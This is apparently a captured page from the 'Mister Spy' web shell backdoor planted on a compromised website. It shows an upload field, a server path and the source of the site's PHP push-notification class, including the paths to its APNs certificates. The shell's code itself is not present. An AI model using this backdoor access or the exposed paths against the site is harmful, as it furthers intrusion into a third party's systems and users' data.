Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.enviopush.php

<?php

include_once('class.registrosapp.php');
include_once('class.enviopushios.php');
include_once('class.enviopushandroid.php');
include_once('class.enviospush.php');
include_once('class.envioslog.php');
require_once('class.tiposusuarios.php'); 

class EnvioPush
{
	const PathMedicos 	= 'push/medicos/';
	const PathPacientes = 'push/pacientes/';
	
	public $IdEnvio;
	public $CantidadUsuarios;
	public $Fecha;
	public $Plataforma;
	public $Asunto;
	public $Mensaje;
	public $CantidadEnviados;
	public $IdTipoUsuario;
	
	public function __construct()
	{
		$this->IdEnvio 			= '';
		$this->CantidadUsuarios = 0;
		$this->Fecha		 	= '';
		$this->Plataforma		= '';
		$this->Asunto		 	= '';
		$this->Mensaje		 	= '';
		$this->CantidadEnviados	= 0;
		$this->IdTipoUsuario	= '';
	}
	
	
	public function ParseFromArray(array $arr)
	{
		$this->IdEnvio 				= $arr['IdEnvio'];
		$this->CantidadUsuarios 	= $arr['CantidadUsuarios'];
		$this->Plataforma			= stripslashes($arr['Plataforma']);
		$this->Fecha 				= stripslashes($arr['Fecha']);
		$this->Asunto				= stripslashes($arr['Asunto']);
		$this->Mensaje				= stripslashes($arr['Mensaje']);
		$this->CantidadEnviados		= $arr['CantidadEnviados'];
		$this->IdTipoUsuario		= $arr['IdTipoUsuario'];
	}
	
	public function RealizarEnvio()
	{
		$this->CantidadUsuarios = 0;
		
		if ($this->Plataforma != 'Android')
			$this->RealizarEnvioIOS();
			
		if ($this->Plataforma != 'iPhone')
			$this->RealizarEnvioAndroid();
		
		$oEnviosPush	= new EnviosPush();
		$oEnviosPush->UpdateCantidadUsuarios($this);
		$oEnviosPush->UpdateCantidadEnviados($this);
	}
	
	private function LogEnvio($oRegistro, $Resultado)
	{
		$oEnviosLog	= new EnviosLog();
		
		$oEnvioLog	= new EnvioLog();
		$oEnvioLog->IdEnvio			= $this->IdEnvio;
		$oEnvioLog->IdUsuario		= $oRegistro->IdUsuario;
		$oEnvioLog->Email			= $oRegistro->Email;
		$oEnvioLog->CodigoRegistro	= $oRegistro->CodigoRegistro;
		$oEnvioLog->Plataforma		= $oRegistro->Plataforma;
		$oEnvioLog->Resultado		= $Resultado;
		$oEnvioLog->Fecha			= date('d-m-Y H:i:s');
		
		$oEnviosLog->Create($oEnvioLog);
	}
	
	private function GetRegistros($plataforma)
	{
		$oRegistrosApp = new RegistrosApp();

		return $oRegistrosApp->GetAll(array('Plataforma' => $plataforma, 'IdTipoUsuario' => $this->IdTipoUsuario));
	}
	
	private function RealizarEnvioIOS()
	{
		if ($this->Plataforma == 'Android')
			return false;
		
		if	($this->IdTipoUsuario == TiposUsuarios::Medico)
			$oEnvioPushIOS = new EnvioPushIOS(dirname(__FILE__) . '/'. self::PathMedicos . 'aps.pem', self::PathMedicos . 'aps.cer');
		if	($this->IdTipoUsuario == TiposUsuarios::Paciente)
			$oEnvioPushIOS = new EnvioPushIOS(dirname(__FILE__) . '/'. self::PathPacientes . 'aps.pem', self::PathPacientes . 'aps.cer');
		
		$arrRegistros	= $this->GetRegistros('iPhone');
		
		if (!$arrRegistros || count($arrRegistros) == 0)
			return false;
		
		$this->CantidadUsuarios+= count($arrRegistros);
		
		foreach ($arrRegistros as $oRegistro)
        {
        	$result = $oEnvioPushIOS->EnviarAlerta($this->IdEnvio, utf8_encode($this->Asunto), utf8_encode($this->Mensaje), $oRegistro);
        	
        	$this->LogEnvio($oRegistro, json_encode($result));
        	
        	if ($result['success'] == true)
        		$this->CantidadEnviados++;
        	
			//echo json_encode($result);
        }
	}
	
	private function RealizarEnvioAndroid()
	{
		if ($this->Plataforma == 'iPhone')
			return false;
			
		$oEnvioPushAndroid = new EnvioPushAndroid();
		
		$arrRegistros	= $this->GetRegistros('Android');
		
		if (!$arrRegistros || count($arrRegistros) == 0)
			return false;
		
		$this->CantidadUsuarios+= count($arrRegistros);
		
		$registrationIds = array();
		
        foreach ($arrRegistros as $oRegistro)
        {
        	$registrationIds[] = $oRegistro->CodigoRegistro;
        }
        
        $result = $oEnvioPushAndroid->EnviarAlerta($this->IdEnvio, utf8_encode($this->Asunto), utf8_encode($this->Mensaje), $registrationIds);

		
        foreach ($arrRegistros as $oRegistro)
        {
        	$this->LogEnvio($oRegistro, json_encode($result));
        }
        	//echo "Android result:<br>$result";
		if ($result !== false)
		{
			$oResult = json_decode($result);
			$this->CantidadEnviados+= $oResult->success;
		}
        //
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat